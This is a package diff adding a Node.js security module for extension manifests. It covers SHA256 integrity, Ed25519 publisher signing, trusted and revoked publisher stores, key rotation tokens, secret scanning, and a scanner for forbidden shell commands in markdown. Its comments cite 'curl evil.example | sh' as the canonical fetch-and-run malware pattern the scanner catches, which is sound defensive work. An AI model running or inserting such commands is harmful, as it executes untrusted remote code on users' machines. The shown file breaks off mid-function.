@ijfw/memory-server 1.3.0 → 1.4.1

package/src/extension-signer.js

@@ -0,0 +1,905 @@
+/**
+ * Extension integrity + signing module — IJFW 1.4.0 Open Ecosystem.
+ *
+ * Two layered defenses live here:
+ *
+ *   1. SHA256 integrity hash (computeIntegrity / verifyIntegrity)
+ *      Detects in-transit corruption and naive post-install edits. Does
+ *      NOT authenticate the publisher on its own.
+ *
+ *   2. Ed25519 asymmetric publisher signing (W7/B1: signManifest /
+ *      verifyManifestSignature, generatePublisherKeypair, trusted-publishers
+ *      store at ~/.ijfw/trusted-publishers.json). Authenticates the publisher
+ *      against a per-host trust store. Unsigned manifests require explicit
+ *      opts.allowUnsigned; signed-but-untrusted manifests require explicit
+ *      opts.acceptUntrusted.
+ *
+ * v1.4.0 trust = signature verify (publisher) + Trident install-gate audit
+ * (3-lens content audit) + integrity hash (tamper) + install-time static
+ * analysis (`scanExtensionForSecrets` via `classify()` from redactor.js,
+ * `scanInlineCommands` via `isSafeVerifyCommand()` from ralph-allowlist.js).
+ *
+ * Spec: .planning/1.4.0/security-spec.md
+ *
+ * Uses node:crypto + node:fs/promises only — no subprocess invocations.
+ */
+
+import {
+  createHash,
+  createPrivateKey,
+  createPublicKey,
+  generateKeyPairSync,
+  sign as cryptoSign,
+  verify as cryptoVerify,
+} from 'node:crypto';
+import { readdir, readFile, stat, mkdir, writeFile, chmod } from 'node:fs/promises';
+import { homedir } from 'node:os';
+import { join, relative, sep } from 'node:path';
+
+import { classify } from './redactor.js';
+import { isSafeVerifyCommand } from './ralph-allowlist.js';
+import {
+  INTEGRITY_PATTERN,
+  PERMISSION_READS,
+  PERMISSION_WRITES,
+  SIGNATURE_PATTERN,
+  PUBLISHER_KEY_ID_PATTERN,
+} from './extension-manifest-schema.js';
+
+/**
+ * Recursively sort object keys to produce a stable canonical representation.
+ * Arrays preserve order (semantically meaningful); objects sort keys.
+ * Primitives pass through. `undefined` values are dropped (JSON-equivalent).
+ *
+ * @param {*} v
+ * @returns {*}
+ */
+function sortKeysDeep(v) {
+  if (Array.isArray(v)) {
+    return v.map(sortKeysDeep);
+  }
+  if (v !== null && typeof v === 'object') {
+    const out = {};
+    const keys = Object.keys(v).sort();
+    for (const k of keys) {
+      if (v[k] === undefined) continue;
+      out[k] = sortKeysDeep(v[k]);
+    }
+    return out;
+  }
+  return v;
+}
+
+/**
+ * Produce the canonical JSON representation of a manifest for hashing.
+ * Recursively sorts object keys; omits the top-level `integrity` field.
+ *
+ * @param {object} manifest
+ * @returns {string} canonical JSON string (UTF-8)
+ */
+export function canonicalise(manifest) {
+  if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
+    // Be permissive on inputs that aren't object-shaped — caller is responsible
+    // for shape, this function only serialises deterministically.
+    return JSON.stringify(sortKeysDeep(manifest));
+  }
+  // Top-level integrity field is excluded from the canonical body — the hash
+  // we compute here is what GOES INTO that field.
+  const shallow = {};
+  for (const k of Object.keys(manifest)) {
+    if (k === 'integrity') continue;
+    shallow[k] = manifest[k];
+  }
+  return JSON.stringify(sortKeysDeep(shallow));
+}
+
+/**
+ * Compute the SHA256 integrity hash over the canonical manifest and return
+ * a NEW manifest (shallow copy of input) with the `integrity` field
+ * populated as `sha256:<64 lowercase hex>`.
+ *
+ * @param {object} manifest
+ * @returns {object} manifest with `integrity: "sha256:<64 lowercase hex>"`
+ */
+export function computeIntegrity(manifest) {
+  const canonical = canonicalise(manifest);
+  const digest = createHash('sha256').update(canonical, 'utf8').digest('hex');
+  return { ...manifest, integrity: `sha256:${digest}` };
+}
+
+/**
+ * Verify the integrity hash on a manifest. Recomputes the canonical hash and
+ * compares to the `integrity` field. Returns `valid: false` (does NOT throw)
+ * when the input lacks an integrity field or the field is malformed.
+ *
+ * Enforces the strict format `^sha256:[a-f0-9]{64}$` per residual R5.
+ *
+ * @param {object} manifest
+ * @returns {{ valid: boolean, expected: string | null, got: string | null }}
+ */
+export function verifyIntegrity(manifest) {
+  if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
+    return { valid: false, expected: null, got: null };
+  }
+  const got = typeof manifest.integrity === 'string' ? manifest.integrity : null;
+  if (got === null) {
+    return { valid: false, expected: null, got: null };
+  }
+  if (!INTEGRITY_PATTERN.test(got)) {
+    return { valid: false, expected: null, got };
+  }
+  // Deep clone to avoid any mutation of the caller's object.
+  const clone = JSON.parse(JSON.stringify(manifest));
+  delete clone.integrity;
+  const canonical = canonicalise(clone);
+  const digest = createHash('sha256').update(canonical, 'utf8').digest('hex');
+  const expected = `sha256:${digest}`;
+  return { valid: expected === got, expected, got };
+}
+
+// Directories never scanned for secrets — large, generated, or VCS metadata.
+const SCAN_SKIP_DIRS = new Set([
+  'node_modules',
+  '.git',
+  '.svn',
+  '.hg',
+  'dist',
+  'build',
+  '.next',
+  '.cache',
+]);
+
+// Files larger than this are treated as binary and skipped (1 MiB).
+const SCAN_MAX_FILE_BYTES = 1024 * 1024;
+
+/**
+ * Walk a directory tree, yielding absolute file paths. Skips SCAN_SKIP_DIRS.
+ *
+ * @param {string} root
+ * @returns {AsyncGenerator<string>}
+ */
+async function* walkFiles(root) {
+  const entries = await readdir(root, { withFileTypes: true });
+  for (const entry of entries) {
+    const full = join(root, entry.name);
+    if (entry.isDirectory()) {
+      if (SCAN_SKIP_DIRS.has(entry.name)) continue;
+      yield* walkFiles(full);
+    } else if (entry.isFile()) {
+      yield full;
+    }
+    // Symlinks and other entry types are intentionally skipped.
+  }
+}
+
+/**
+ * Heuristically detect a binary file by null-byte presence in the head buffer.
+ *
+ * @param {Buffer} buf
+ * @returns {boolean}
+ */
+function looksBinary(buf) {
+  const limit = Math.min(buf.length, 8192);
+  for (let i = 0; i < limit; i++) {
+    if (buf[i] === 0) return true;
+  }
+  return false;
+}
+
+/**
+ * Walk all files under `extensionDir` and scan each line for known secret
+ * patterns using `classify()` from `mcp-server/src/redactor.js`. Does NOT
+ * use `redactSecrets()` for detection — that returns the redacted string,
+ * not findings.
+ *
+ * Findings include `{file, line, kind}` — never the matched value itself
+ * (security spec §3.1).
+ *
+ * @param {string} extensionDir
+ * @returns {Promise<{ clean: boolean, findings: Array<{ file: string, line: number, kind: string }> }>}
+ */
+export async function scanExtensionForSecrets(extensionDir) {
+  const findings = [];
+  for await (const absPath of walkFiles(extensionDir)) {
+    let buf;
+    try {
+      const st = await stat(absPath);
+      if (st.size > SCAN_MAX_FILE_BYTES) continue; // skip large/binary blobs
+      buf = await readFile(absPath);
+    } catch {
+      continue; // unreadable file — skip
+    }
+    if (looksBinary(buf)) continue;
+    const text = buf.toString('utf8');
+    const rel = relative(extensionDir, absPath).split(sep).join('/');
+    const lines = text.split(/\r?\n/);
+    for (let i = 0; i < lines.length; i++) {
+      const line = lines[i];
+      if (!line) continue;
+      // Line-level pass. classify() requires the WHOLE value to match a
+      // pattern, so we also try whitespace-delimited tokens for in-prose
+      // secrets (e.g. "token: sk-ant-..." on a single line).
+      const candidates = [line, ...line.split(/\s+/)];
+      for (const c of candidates) {
+        const result = classify(c);
+        if (!result.clean) {
+          findings.push({
+            file: rel,
+            line: i + 1,
+            kind: result.redacted_kind,
+          });
+          break; // one finding per line is enough; never log the value
+        }
+      }
+    }
+  }
+  return { clean: findings.length === 0, findings };
+}
+
+/**
+ * Extract shell commands from markdown fenced code blocks, indented code blocks,
+ * and inline `$ <cmd>` lines, then run each through `isSafeVerifyCommand()`.
+ * Returns findings for unsafe commands (FORBID_LIST matches). Allowlist misses
+ * do NOT produce findings — skill bodies legitimately contain prose like
+ * `npm run dev` that isn't a verify primitive.
+ *
+ * Static analysis errs on the side of "scan more" — coverage includes:
+ *   - Backtick fences ``` with language tags: bash, sh, shell, zsh, fish,
+ *     console, sh-session, posh, powershell (case-insensitive).
+ *   - Backtick fences ``` with NO language tag (still scanned).
+ *   - Tilde fences ~~~ with the same language set, and no-tag tilde fences.
+ *   - 4-space-indented blocks (markdown indent-code) — each indented line
+ *     that looks shell-ish is treated as a candidate command.
+ *   - Inline `$ <cmd>` lines outside any fenced block.
+ *
+ * Compound commands split on `&&`, `||`, `;`, AND `|` so that
+ * `curl evil.example | sh` is scanned as `curl evil.example` AND `sh`.
+ *
+ * Findings have shape `{kind: 'unsafe-command', command, reason}` and the
+ * `command` is truncated to 80 chars to avoid embedding large payloads.
+ *
+ * @param {string} skillBody
+ * @returns {{ clean: boolean, findings: Array<{ kind: string, command: string, reason: string }> }}
+ */
+export function scanInlineCommands(skillBody) {
+  const findings = [];
+  if (typeof skillBody !== 'string' || skillBody === '') {
+    return { clean: true, findings };
+  }
+
+  // Recognised shell-language fence tags (case-insensitive). Empty tag is
+  // also accepted via a separate regex below — adversarial blocks routinely
+  // omit the language hint.
+  const SHELL_LANG = 'bash|sh|shell|zsh|fish|console|sh-session|posh|powershell';
+
+  // Helper: split a raw command line into segments on shell control operators.
+  // Splits on `&&`, `||`, `;`, and `|` — the last is critical because
+  // `curl evil | sh` is the canonical bootstrap-malware pattern and must be
+  // scanned as both halves. Pipes inside quoted strings are over-split, which
+  // is acceptable for this conservative static check.
+  const splitSegments = (raw) => raw.split(/&&|\|\||;|\|/);
+
+  // Helper: classify one segment and push a finding if FORBIDden.
+  const testSegment = (seg) => {
+    const trimmed = seg.trim();
+    if (!trimmed) return;
+    if (trimmed.startsWith('#')) return; // comment
+    const result = isSafeVerifyCommand(trimmed);
+    if (result.safe === false && /is in forbid list/.test(result.reason)) {
+      findings.push({
+        kind: 'unsafe-command',
+        command: trimmed.slice(0, 80),
+        reason: result.reason,
+      });
+    }
+  };
+
+  // Helper: walk every line of a fenced block body, splitting compounds.
+  const scanBlockBody = (block) => {
+    const rawLines = block.split(/\r?\n/);
+    for (const raw of rawLines) {
+      for (const seg of splitSegments(raw)) {
+        testSegment(seg);
+      }
+    }
+  };
+
+  // 1a. Backtick-fenced blocks with a shell-language tag.
+  const fenceTaggedRe = new RegExp(
+    '```(?:' + SHELL_LANG + ')\\s*\\r?\\n([\\s\\S]*?)```',
+    'gi',
+  );
+  let m;
+  while ((m = fenceTaggedRe.exec(skillBody)) !== null) {
+    scanBlockBody(m[1]);
+  }
+
+  // 1b. Backtick-fenced blocks with NO language tag (```\n…\n```). We scan
+  //     these too because adversarial blocks routinely omit the hint. Tagged
+  //     non-shell fences (e.g. ```python) are deliberately skipped.
+  const fenceUntaggedRe = /```[ \t]*\r?\n([\s\S]*?)```/g;
+  while ((m = fenceUntaggedRe.exec(skillBody)) !== null) {
+    scanBlockBody(m[1]);
+  }
+
+  // 1c. Tilde-fenced blocks (~~~) with a shell-language tag.
+  const tildeTaggedRe = new RegExp(
+    '~~~(?:' + SHELL_LANG + ')\\s*\\r?\\n([\\s\\S]*?)~~~',
+    'gi',
+  );
+  while ((m = tildeTaggedRe.exec(skillBody)) !== null) {
+    scanBlockBody(m[1]);
+  }
+
+  // 1d. Tilde-fenced blocks with NO language tag.
+  const tildeUntaggedRe = /~~~[ \t]*\r?\n([\s\S]*?)~~~/g;
+  while ((m = tildeUntaggedRe.exec(skillBody)) !== null) {
+    scanBlockBody(m[1]);
+  }
+
+  // 2. 4-space-indented code blocks. We strip fenced blocks first to avoid
+  //    double-counting their interiors as indented blocks. Each indented line
+  //    whose post-indent content starts with a shell-ish character (a-z, /,
+  //    or .) is treated as a candidate command and split on operators.
+  let stripped = skillBody.replace(/```[\s\S]*?```/g, '');
+  stripped = stripped.replace(/~~~[\s\S]*?~~~/g, '');
+  const lines = stripped.split(/\r?\n/);
+  for (const line of lines) {
+    // 4+ leading spaces (no tabs — CommonMark indented-code is space-only).
+    const im = line.match(/^[ ]{4,}(.*)$/);
+    if (!im) continue;
+    const content = im[1];
+    // Shell-looking heuristic: starts with a letter, `.`, or `/` and is not
+    // a code-block comment or empty.
+    if (!/^[a-zA-Z./]/.test(content)) continue;
+    for (const seg of splitSegments(content)) {
+      testSegment(seg);
+    }
+  }
+
+  // 3. Inline `$ <cmd>` lines outside any fenced/tilde block.
+  const inlineRe = /^\s*\$\s+(.+)$/gm;
+  while ((m = inlineRe.exec(stripped)) !== null) {
+    for (const seg of splitSegments(m[1])) {
+      testSegment(seg);
+    }
+  }
+
+  return { clean: findings.length === 0, findings };
+}
+
+/**
+ * Validate that an extension's declared permissions are subsets of the
+ * schema allowlists (`PERMISSION_READS`, `PERMISSION_WRITES`). v1.4.0
+ * permissions are declarative intent — this check guards against typos and
+ * out-of-vocabulary declarations.
+ *
+ * Missing `permissions` block is treated as `{reads: [], writes: []}`
+ * (valid). Non-object permissions fail validation.
+ *
+ * @param {object} manifest
+ * @returns {{ valid: boolean, errors: string[] }}
+ */
+export function validatePermissions(manifest) {
+  const errors = [];
+  if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
+    return { valid: false, errors: ['manifest: must be an object'] };
+  }
+  const perms = manifest.permissions;
+  if (perms === undefined) {
+    // Treat as empty (valid).
+    return { valid: true, errors: [] };
+  }
+  if (perms === null || typeof perms !== 'object' || Array.isArray(perms)) {
+    return { valid: false, errors: ['permissions: must be an object with reads/writes arrays'] };
+  }
+
+  const reads = perms.reads ?? [];
+  const writes = perms.writes ?? [];
+
+  if (!Array.isArray(reads)) {
+    errors.push('permissions.reads: must be an array');
+  } else {
+    reads.forEach((p, i) => {
+      if (typeof p !== 'string') {
+        errors.push(`permissions.reads[${i}]: must be a string`);
+        return;
+      }
+      if (!PERMISSION_READS.includes(p)) {
+        errors.push(`permissions.reads[${i}]: ${JSON.stringify(p)} not in allowlist`);
+      }
+    });
+  }
+
+  if (!Array.isArray(writes)) {
+    errors.push('permissions.writes: must be an array');
+  } else {
+    writes.forEach((p, i) => {
+      if (typeof p !== 'string') {
+        errors.push(`permissions.writes[${i}]: must be a string`);
+        return;
+      }
+      if (!PERMISSION_WRITES.includes(p)) {
+        errors.push(`permissions.writes[${i}]: ${JSON.stringify(p)} not in allowlist`);
+      }
+    });
+  }
+
+  return { valid: errors.length === 0, errors };
+}
+
+// === W7/B1: Asymmetric Ed25519 publisher signing =========================
+//
+// Trust model upgrade for v1.4.0:
+//   - integrity (sha256) detects tamper, independent of signing.
+//   - signature (ed25519) binds a manifest to a publisher keypair.
+//   - publisher_key_id = sha256 fingerprint (hex) of the PEM-encoded public key.
+//   - Trusted publishers store at ~/.ijfw/trusted-publishers.json.
+//   - Keypairs persist at ~/.ijfw/keys/<keyId>/ (private 0600, public 0644).
+//
+// Canonicalisation for signing: drop `signature` AND `integrity` fields, then
+// serialise with sortKeysDeep -> JSON.stringify. Verification re-creates the
+// same canonical form.
+
+function keysRoot() {
+  return join(homedir(), '.ijfw', 'keys');
+}
+
+function trustedPublishersPath() {
+  return join(homedir(), '.ijfw', 'trusted-publishers.json');
+}
+
+/**
+ * Canonical bytes for signing: drop signature + integrity, sort keys deep,
+ * UTF-8 encode. Shared by signManifest / verifyManifestSignature so both
+ * sides produce byte-identical input.
+ *
+ * @param {object} manifest
+ * @returns {Buffer}
+ */
+function canonicalSigningBytes(manifest) {
+  if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
+    return Buffer.from(JSON.stringify(sortKeysDeep(manifest)), 'utf8');
+  }
+  const shallow = {};
+  for (const k of Object.keys(manifest)) {
+    if (k === 'signature' || k === 'integrity') continue;
+    shallow[k] = manifest[k];
+  }
+  return Buffer.from(JSON.stringify(sortKeysDeep(shallow)), 'utf8');
+}
+
+/**
+ * Compute the sha256 hex fingerprint (lowercase) of a PEM-encoded public key.
+ * Uses the DER-encoded form so a re-encode of the same key still fingerprints
+ * to the same id.
+ *
+ * @param {string} publicKeyPem
+ * @returns {string}
+ */
+export function publicKeyFingerprint(publicKeyPem) {
+  const key = createPublicKey(publicKeyPem);
+  const der = key.export({ type: 'spki', format: 'der' });
+  return createHash('sha256').update(der).digest('hex');
+}
+
+/**
+ * Generate a new Ed25519 publisher keypair, persist it under ~/.ijfw/keys/<keyId>/,
+ * and return the in-memory PEM material + the derived keyId.
+ *
+ * @param {string} [authorName] informational only (recorded in the receipt)
+ * @returns {Promise<{ publicKey: string, privateKey: string, keyId: string, dir: string }>}
+ */
+export async function generatePublisherKeypair(authorName) {
+  const { publicKey, privateKey } = generateKeyPairSync('ed25519');
+  const publicKeyPem = publicKey.export({ type: 'spki', format: 'pem' }).toString();
+  const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' }).toString();
+  const keyId = publicKeyFingerprint(publicKeyPem);
+
+  const dir = join(keysRoot(), keyId);
+  // W7.1/B1-L-01: mode 0700 so the per-key directory is not group/world
+  // listable. Private key file inside is 0600 separately.
+  await mkdir(dir, { recursive: true, mode: 0o700 });
+  try { await chmod(dir, 0o700); } catch { /* best-effort */ }
+  const pubPath = join(dir, 'public.pem');
+  const privPath = join(dir, 'private.pem');
+  await writeFile(pubPath, publicKeyPem, 'utf8');
+  await writeFile(privPath, privateKeyPem, { encoding: 'utf8', mode: 0o600 });
+  // Re-chmod belt-and-braces; some platforms ignore the open-time mode arg.
+  try { await chmod(privPath, 0o600); } catch { /* best-effort */ }
+  try { await chmod(pubPath, 0o644); } catch { /* best-effort */ }
+
+  // Author receipt (informational; not authoritative).
+  if (typeof authorName === 'string' && authorName.length > 0) {
+    try {
+      await writeFile(
+        join(dir, 'author.txt'),
+        `${authorName}\n${new Date().toISOString()}\n`,
+        'utf8',
+      );
+    } catch { /* non-fatal */ }
+  }
+
+  return { publicKey: publicKeyPem, privateKey: privateKeyPem, keyId, dir };
+}
+
+/**
+ * Load a previously-generated keypair from ~/.ijfw/keys/<keyId>/. Returns null
+ * if either file is missing.
+ *
+ * @param {string} keyId
+ * @returns {Promise<{ publicKey: string, privateKey: string, keyId: string } | null>}
+ */
+export async function loadPublisherKeypair(keyId) {
+  if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) return null;
+  const dir = join(keysRoot(), keyId);
+  try {
+    const [publicKey, privateKey] = await Promise.all([
+      readFile(join(dir, 'public.pem'), 'utf8'),
+      readFile(join(dir, 'private.pem'), 'utf8'),
+    ]);
+    return { publicKey, privateKey, keyId };
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Sign a manifest. Returns a NEW manifest with `signature` + `publisher_key_id`
+ * fields populated. Re-computes integrity AFTER signing so the integrity hash
+ * covers the signature payload too (signature is excluded from signing bytes
+ * but included in integrity bytes, so any post-sign edit is detected).
+ *
+ * @param {object} manifest
+ * @param {string} privateKeyPem
+ * @returns {object} manifest with signature, publisher_key_id, integrity
+ */
+export function signManifest(manifest, privateKeyPem) {
+  if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
+    throw new TypeError('signManifest: manifest must be an object');
+  }
+  const priv = createPrivateKey(privateKeyPem);
+  // Derive the matching public key + keyId so the publisher_key_id is
+  // self-consistent with the signing material.
+  const pub = createPublicKey(priv);
+  const publicKeyPem = pub.export({ type: 'spki', format: 'pem' }).toString();
+  const keyId = publicKeyFingerprint(publicKeyPem);
+
+  // Add publisher_key_id BEFORE computing signing bytes so verify-time canonical
+  // bytes (which include publisher_key_id) match sign-time canonical bytes.
+  const toSign = { ...manifest, publisher_key_id: keyId };
+  const bytes = canonicalSigningBytes(toSign);
+  const sigBuf = cryptoSign(null, bytes, priv);
+  const signature = `ed25519:${sigBuf.toString('base64')}`;
+
+  const signed = {
+    ...toSign,
+    signature,
+  };
+  // Recompute integrity to cover the signature + key id fields.
+  return computeIntegrity(signed);
+}
+
+/**
+ * Verify a manifest's signature against a map of trusted publishers.
+ *
+ * @param {object} manifest
+ * @param {{ publishers: Record<string, { publicKey: string, name?: string }> } | null} trustedKeys
+ * @returns {{ valid: boolean, publisherKeyId: string | null, reason: string }}
+ */
+export function verifyManifestSignature(manifest, trustedKeys) {
+  if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
+    return { valid: false, publisherKeyId: null, reason: 'manifest must be an object' };
+  }
+  const sig = typeof manifest.signature === 'string' ? manifest.signature : null;
+  const kid = typeof manifest.publisher_key_id === 'string' ? manifest.publisher_key_id : null;
+  if (!sig) return { valid: false, publisherKeyId: null, reason: 'manifest has no signature' };
+  if (!SIGNATURE_PATTERN.test(sig)) return { valid: false, publisherKeyId: null, reason: 'signature shape invalid' };
+  if (!kid) return { valid: false, publisherKeyId: null, reason: 'manifest missing publisher_key_id' };
+  if (!PUBLISHER_KEY_ID_PATTERN.test(kid)) return { valid: false, publisherKeyId: kid, reason: 'publisher_key_id shape invalid' };
+
+  const publishers = (trustedKeys && trustedKeys.publishers) || {};
+  const entry = publishers[kid];
+  if (!entry || typeof entry.publicKey !== 'string') {
+    return { valid: false, publisherKeyId: kid, reason: `publisher ${kid} not trusted` };
+  }
+
+  let pubKey;
+  try {
+    pubKey = createPublicKey(entry.publicKey);
+  } catch (err) {
+    return { valid: false, publisherKeyId: kid, reason: `trusted publisher key unparseable: ${err.message}` };
+  }
+  // Belt-and-braces: confirm the trusted key actually fingerprints to the
+  // declared keyId. Defends against a tampered trusted-publishers.json where
+  // someone swapped publicKey but kept the keyId.
+  try {
+    const fp = publicKeyFingerprint(entry.publicKey);
+    if (fp !== kid) {
+      return { valid: false, publisherKeyId: kid, reason: 'trusted publicKey does not match keyId' };
+    }
+  } catch {
+    return { valid: false, publisherKeyId: kid, reason: 'trusted publicKey fingerprint failed' };
+  }
+
+  const sigB64 = sig.slice('ed25519:'.length);
+  let sigBuf;
+  try {
+    sigBuf = Buffer.from(sigB64, 'base64');
+  } catch {
+    return { valid: false, publisherKeyId: kid, reason: 'signature base64 decode failed' };
+  }
+
+  const bytes = canonicalSigningBytes(manifest);
+  let ok;
+  try {
+    ok = cryptoVerify(null, bytes, pubKey, sigBuf);
+  } catch (err) {
+    return { valid: false, publisherKeyId: kid, reason: `verify failed: ${err.message}` };
+  }
+  if (!ok) return { valid: false, publisherKeyId: kid, reason: 'signature does not verify' };
+  return { valid: true, publisherKeyId: kid, reason: 'ok' };
+}
+
+// === B6: Revoked publishers store ========================================
+
+/**
+ * Read the revoked publishers list from ~/.ijfw/state/revoked-publishers.json.
+ * Returns an empty list when absent or malformed.
+ *
+ * @returns {Promise<Array<{keyId: string, revoked_at: string, reason: string, superseded_by: string|null}>>}
+ */
+export async function readRevokedPublishers() {
+  const path = join(homedir(), '.ijfw', 'state', 'revoked-publishers.json');
+  let raw;
+  try {
+    raw = await readFile(path, 'utf8');
+  } catch {
+    return [];
+  }
+  let parsed;
+  try {
+    parsed = JSON.parse(raw);
+  } catch {
+    return [];
+  }
+  if (!parsed || !Array.isArray(parsed.revoked)) return [];
+  return parsed.revoked.filter(r => typeof r.keyId === 'string');
+}
+
+// Module-level revoked set cache — loaded once per process, refreshed by applyRegistry.
+// Export for test isolation only (allows tests to reset after changing HOME).
+export function _resetRevokedCacheForTest() { _revokedSet = null; }
+let _revokedSet = null;
+
+/**
+ * O(1) check: is a keyId on the revoked list?
+ * Loads the set on first call; cached for the process lifetime.
+ *
+ * @param {string} keyId
+ * @returns {Promise<boolean>}
+ */
+export async function isRevoked(keyId) {
+  if (_revokedSet === null) {
+    const list = await readRevokedPublishers();
+    _revokedSet = new Set(list.map(r => r.keyId));
+  }
+  return _revokedSet.has(keyId);
+}
+
+/**
+ * Read the trusted publishers JSON. Returns `{publishers: {}}` when absent or
+ * malformed (fail-closed for verification: no trusted keys means nothing is
+ * trusted).
+ *
+ * @returns {Promise<{ publishers: Record<string, { name?: string, publicKey: string, added_at?: string }> }>}
+ */
+export async function readTrustedPublishers() {
+  const path = trustedPublishersPath();
+  let raw;
+  try {
+    raw = await readFile(path, 'utf8');
+  } catch {
+    return { publishers: {} };
+  }
+  let parsed;
+  try {
+    parsed = JSON.parse(raw);
+  } catch {
+    return { publishers: {} };
+  }
+  if (!parsed || typeof parsed !== 'object' || parsed.publishers === null || typeof parsed.publishers !== 'object') {
+    return { publishers: {} };
+  }
+  // Filter entries to well-formed records.
+  const out = { publishers: {} };
+  for (const [kid, val] of Object.entries(parsed.publishers)) {
+    if (!PUBLISHER_KEY_ID_PATTERN.test(kid)) continue;
+    if (!val || typeof val !== 'object' || typeof val.publicKey !== 'string') continue;
+    out.publishers[kid] = {
+      name: typeof val.name === 'string' ? val.name : undefined,
+      publicKey: val.publicKey,
+      added_at: typeof val.added_at === 'string' ? val.added_at : undefined,
+    };
+  }
+  return out;
+}
+
+async function writeTrustedPublishers(store) {
+  const path = trustedPublishersPath();
+  await mkdir(join(homedir(), '.ijfw'), { recursive: true });
+  await writeFile(path, JSON.stringify(store, null, 2) + '\n', 'utf8');
+}
+
+/**
+ * Add (or replace) a trusted publisher entry. Validates the publicKey
+ * fingerprint against the supplied keyId. Returns the updated store.
+ *
+ * @param {string} keyId
+ * @param {string} publicKey PEM-encoded
+ * @param {string} [name]
+ * @returns {Promise<{ ok: boolean, error?: string, store?: object }>}
+ */
+export async function addTrustedPublisher(keyId, publicKey, name) {
+  if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) {
+    return { ok: false, error: 'invalid keyId' };
+  }
+  if (typeof publicKey !== 'string' || publicKey.indexOf('BEGIN PUBLIC KEY') === -1) {
+    return { ok: false, error: 'publicKey must be PEM-encoded' };
+  }
+  // B6: refuse to add a revoked publisher
+  if (await isRevoked(keyId)) {
+    return { ok: false, error: 'publisher revoked by IJFW registry' };
+  }
+  let fp;
+  try {
+    fp = publicKeyFingerprint(publicKey);
+  } catch (err) {
+    return { ok: false, error: `publicKey unparseable: ${err.message}` };
+  }
+  if (fp !== keyId) {
+    return { ok: false, error: 'publicKey fingerprint does not match keyId' };
+  }
+  const store = await readTrustedPublishers();
+  store.publishers[keyId] = {
+    name: typeof name === 'string' && name.length > 0 ? name : undefined,
+    publicKey,
+    added_at: new Date().toISOString(),
+  };
+  await writeTrustedPublishers(store);
+  return { ok: true, store };
+}
+
+// === B8: Key rotation + revocation ==========================================
+//
+// Rotation token is signed by the OLD private key — proof of control.
+// An attacker without the old private key cannot produce a valid token.
+// A publisher who lost their old private key must contact the registry
+// maintainer for out-of-band manual key replacement (see docs/REGISTRY-MAINTAINER.md).
+//
+// Token shape: { rotated_at, old_key_id, new_key_id, new_public_key, signature }
+// Canonical signing bytes: all fields except `signature`, sorted by key (sortKeysDeep).
+
+/**
+ * Produce a rotation token asserting that newPublicKey supersedes the key
+ * identified by oldPrivateKey. Signed by the old private key.
+ *
+ * @param {string} oldPrivateKeyPem
+ * @param {string} newPublicKeyPem
+ * @param {object} [opts]
+ * @param {string} [opts.rotated_at] ISO timestamp (defaults to now)
+ * @returns {{ rotated_at: string, old_key_id: string, new_key_id: string, new_public_key: string, signature: string }}
+ */
+export function signRotationToken(oldPrivateKeyPem, newPublicKeyPem, opts = {}) {
+  const priv = createPrivateKey(oldPrivateKeyPem);
+  // Derive old_key_id from the old private key's matching public key.
+  const oldPub = createPublicKey(priv);
+  const old_key_id = publicKeyFingerprint(oldPub.export({ type: 'spki', format: 'pem' }).toString());
+  const new_key_id = publicKeyFingerprint(newPublicKeyPem);
+
+  const token = {
+    rotated_at: opts.rotated_at || new Date().toISOString(),
+    old_key_id,
+    new_key_id,
+    new_public_key: newPublicKeyPem,
+  };
+
+  // Canonical signing bytes: sortKeysDeep of token (signature excluded — not present yet).
+  const bytes = Buffer.from(JSON.stringify(sortKeysDeep(token)), 'utf8');
+  const sigBuf = cryptoSign(null, bytes, priv);
+  return { ...token, signature: `ed25519:${sigBuf.toString('base64')}` };
+}
+
+/**
+ * Verify a rotation token against the old public key.
+ * Checks:
+ *   1. Signature is valid Ed25519 over canonical bytes (signature field excluded).
+ *   2. fingerprint(oldPublicKey) === token.old_key_id.
+ *   3. token.rotated_at is within opts.max_age_ms (default 90 days).
+ *
+ * @param {object} token
+ * @param {string} oldPublicKeyPem
+ * @param {object} [opts]
+ * @param {number} [opts.max_age_ms] Maximum token age in ms (default 90 days)
+ * @returns {{ valid: boolean, reason: string }}
+ */
+export function verifyRotationToken(token, oldPublicKeyPem, opts = {}) {
+  if (!token || typeof token !== 'object') {
+    return { valid: false, reason: 'token must be an object' };
+  }
+  const { rotated_at, old_key_id, new_key_id, new_public_key, signature } = token;
+  if (!rotated_at || !old_key_id || !new_key_id || !new_public_key || !signature) {
+    return { valid: false, reason: 'token missing required fields' };
+  }
+  if (typeof signature !== 'string' || !signature.startsWith('ed25519:')) {
+    return { valid: false, reason: 'signature must be "ed25519:<base64>"' };
+  }
+
+  // Expiry check: reject tokens older than max_age_ms (default 90 days).
+  const MAX_AGE_MS = opts.max_age_ms ?? (90 * 24 * 60 * 60 * 1000);
+  const rotatedAtMs = new Date(rotated_at).getTime();
+  if (isNaN(rotatedAtMs)) {
+    return { valid: false, reason: 'rotated_at is not a valid date' };
+  }
+  if (Date.now() - rotatedAtMs > MAX_AGE_MS) {
+    return { valid: false, reason: 'rotation token expired' };
+  }
+
+  // Check old_key_id matches the supplied public key fingerprint.
+  let fp;
+  try {
+    fp = publicKeyFingerprint(oldPublicKeyPem);
+  } catch (err) {
+    return { valid: false, reason: `old public key parse failed: ${err.message}` };
+  }
+  if (fp !== old_key_id) {
+    return { valid: false, reason: `old_key_id mismatch: token says ${old_key_id} but supplied key fingerprints to ${fp}` };
+  }
+
+  // Reconstruct canonical signing bytes (exclude signature field).
+  const payload = { rotated_at, old_key_id, new_key_id, new_public_key };
+  const bytes = Buffer.from(JSON.stringify(sortKeysDeep(payload)), 'utf8');
+
+  let pubKey;
+  try {
+    pubKey = createPublicKey(oldPublicKeyPem);
+  } catch (err) {
+    return { valid: false, reason: `old public key unparseable: ${err.message}` };
+  }
+
+  let sigBuf;
+  try {
+    sigBuf = Buffer.from(signature.slice('ed25519:'.length), 'base64');
+  } catch {
+    return { valid: false, reason: 'signature base64 decode failed' };
+  }
